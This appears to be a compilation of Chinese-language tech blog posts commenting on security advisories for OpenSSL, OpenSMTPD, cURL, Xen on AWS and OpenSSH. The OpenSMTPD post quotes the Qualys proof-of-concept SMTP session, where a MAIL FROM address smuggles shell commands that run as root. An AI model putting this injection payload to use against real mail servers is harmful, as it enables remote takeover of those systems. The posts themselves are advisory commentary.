這次 OpenSSL 的兩個 CVE

難得在 Hacker News 首頁上看到 OpenSSLCVE:「OpenSSL Security Advisory [5 July 2022]」,相關的討論在「OpenSSL Security Advisory (openssl.org)」。

第一個 CVE 是 RCE 等級,但觸發條件有點多:

首先是 RSA 2048bits,這個條件應該算容易發生的。

第二個是,因為這個安全問題是因為 OpenSSL 3.0.4 才引入的程式碼,而 OpenSSL 3.0.4 是 2022/06/21 發表的,未必有很多人有升級。

第三個是,因為這次出包的段落是用到了 AVX-512 指令集,一定要 Intel 或是 Centaur 的 CPU,後面這家公司前身就是威盛 (VIA) 的一員,去年賣給了 Intel (然後發現連官網用的 domain 都沒續約...)。

AMD 雖然在 Zen 4 架構上支援 AVX-512,但還沒推出產品,所以直接閃避 XD

另外第三個還有額外的限制,因為這次用到的是 IFMA 指令集,所以也不是所有有支援 AVX-512 的 CPU 都會中獎:

只看 Intel 的部份,第一個支援 IFMA 的是 2018 年推出的 Cannon Lake,這個架構只有一顆行動版的 Intel® Core™ i3-8121U Processor

真正大量支援 IFMA 的是 2019 後的 Intel CPU 了,但到了去年推出的 Alder Lake 因為 E-core 不支援 AVX-512 的關係 (但 P-core 支援),預設又關掉了。

所以如果問這個 bug 嚴不嚴重,當然是很嚴重,但影響範圍就有點微妙了。

接下來講第二個 CVE,是 AES OCB 的實做問題,比較有趣的地方是 Hacker News 上的討論引出了 Mosh 的作者跳出來說明,他居然提到他們在二月的時候試著換到 OpenSSL 的 AES OCB 時有測出這個 bug,被 test case 擋下來了:

Mosh uses AES-OCB (and has since 2011), and we found this bug when we tried to switch over to the OpenSSL implementation (away from our own ocb.cc taken from the original authors) and Launchpad ran it through our CI testsuite as part of the Mosh dev PPA build for i686 Ubuntu. (It wasn't caught by GitHub Actions because it only happens on 32-bit x86.) https://github.com/mobile-shell/mosh/issues/1174 for more.

So I would say (a) OCB is widely used, at least by the ~million Mosh users on various platforms, and (b) this episode somewhat reinforces my (perhaps overweight already) paranoia about depending on other people's code or the blast radius of even well-meaning pull requests. (We really wanted to switch over to the OpenSSL implementation rather than shipping our own, in part because ours was depending on some OpenSSL AES primitives that OpenSSL recently deprecated for external users.)

Maybe one lesson here is that many people believe in the benefits of unit tests for their own code, but we're not as thorough or experienced in writing acceptance tests for our dependencies.

Mosh got lucky this time that we had pretty good tests that exercised the library enough to find this bug, and we run them as part of the package build, but it's not that farfetched to imagine that we might have users on a platform that we don't build a package for (and therefore don't run our testsuite on).

這有點有趣 XDDD

GitHub 放出了他們整理過的 GitHub Advisory Database

GitHub 宣佈開放他們整理過的 GitHub Advisory Database:「GitHub Advisory Database now open to community contributions」,Hacker News 上有 GitHub 的 PM 回答一些問題,也可以看看:「GitHub’s database of security advisories is now open source (github.blog)」。

對應的 repository 在「github/advisory-database」這邊可以看到,用的格式是 Open Source Vulnerability format,裡面都是 JSON 檔案。

裡面看起來是從 2017/10 開始的資料,這樣算起來大約累積了四年半,算是一個來源...


在「OpenBSD OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)」這邊看到頗意外的 OpenSMTPD RCE,而且從「Qualys Security Advisory LPE and RCE in OpenSMTPD (CVE-2020-7247)」這邊的範例可以看到是個淺顯易懂的 exploit:

$ nc 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
354 Enter mail, end with "." on a line by itself

for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
250 2.0.0 4cdd24df Message accepted for delivery
221 2.0.0 Bye


cURL 接下來的安全性更新...

cURL 的維護老大放話要大家注意接下來的安全性更新:「An alert on the upcoming 7.51.0 release」。

最少 11 個安全性更新:

This release will bundle no less than _eleven_ security advisories and their associated fixes (unless we get more reported in the time we have left).

由於這些 security issue 的特性,會採取不公開的 branch 修正再 merge 回來,再加上這麼大的數量,對於穩定性的衝擊是未知的:

Merging eleven previously non-disclosed branches into master just before a release is not ideal but done so to minimize the security impact on existing users when the problems get known.

所以目前的規劃是會在 release 的 48 個小時前公開 (希望藉由這封信讓有能力的人一起集中來看),藉此來降低衝擊:

My plan is to merge them all into master and push around 48 hours before release, watch the autobuilds closesly, have a few extra coverity scans done and then fix up what's found before the release.

這安全更新的數量好像有點多 orz

OpenSSL 的安全性更新 (2015/03/19)

前幾天 OpenSSL 就已經先發出通知,將會有安全性更新:「Forthcoming OpenSSL releases」。

剛剛看到更新了,總共 14 個 (但官網上寫「Security Advisory: twelve security fixes」,這是怎樣...):「OpenSSL Security Advisory [19 Mar 2015]」,其中有兩個 Severity: High 的更新,有一個是之前就已經公開了。

不過一堆 segmentation fault、memory corruption 的安全性更新...

Amazon 的 Xen 安全性更新

AWS 上租一卡車機器的人最近應該都有收到重開機的通知,目前雖然沒有明講編號,但看起來是 10/01 會公開的 XSA-108:「EC2 Maintenance Update」。

不過 Slashdot 上的「Amazon Forced To Reboot EC2 To Patch Bug In Xen」這篇的第一個 comment 很精彩:

It's funny for me to read that Amazon is notifying its users of an impending reboot.

I've been suffering with Azure for over a year now, and the only thing that's constant is rebooting....

My personal favorite Azure feature, is that SQL Azure randomly drops database connections by design.

Let that sink in for a while. You are actually required to program your application to expect failed database calls.

I've never seen such a horrible platform, or a less reliable database server...

這要怎麼說呢... 就使用雲端服務的人,設計上的確要這樣沒錯,但就提供雲端服務的供應商,應該還是要保持 VM 的穩定性吧... XDDD

FreeBSD 對 OpenSSH 的安全性更新...

讓我意外的是,只有 FreeBSD 10.0-BETA (還沒出 RELEASE 的版本) 有問題,9.2-RELEASE 並不在內:「OpenSSH AES-GCM memory corruption vulnerability」。

本來 9.2 的機器有上 workaround 把 AES-GCM 強制拔掉,看起來可以 revert 回來了...

OpenSSH 安全性問題...

Twitter 上看到 Gasol 轉推的 OpenSSH 安全性問題:「OpenSSH Security Advisory: gcmrekey.adv」。


If exploited, this vulnerability might permit code execution with the privileges of the authenticated user and may therefore allow bypassing restricted shell/command configurations.

這噴飯了... OpenSSH 的安全性相當強,這次出這種包... XDDD

影響的範圍是 OpenSSH 6.2 與 6.3,並且 OpenSSL 有編 AES-GCM:

OpenSSH 6.2 and OpenSSH 6.3 when built against an OpenSSL that supports AES-GCM.

如果不允許升級到 OpenSSH 6.4,那麼暫時性的解法是不允許 AES-GCM,在 /etc/ssh/sshd_config 內可以設:

Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc

結果 FreeBSD 9.2 看起來在範圍內中槍,先上 workaround 再來等 freebsd-update 提供的修正吧...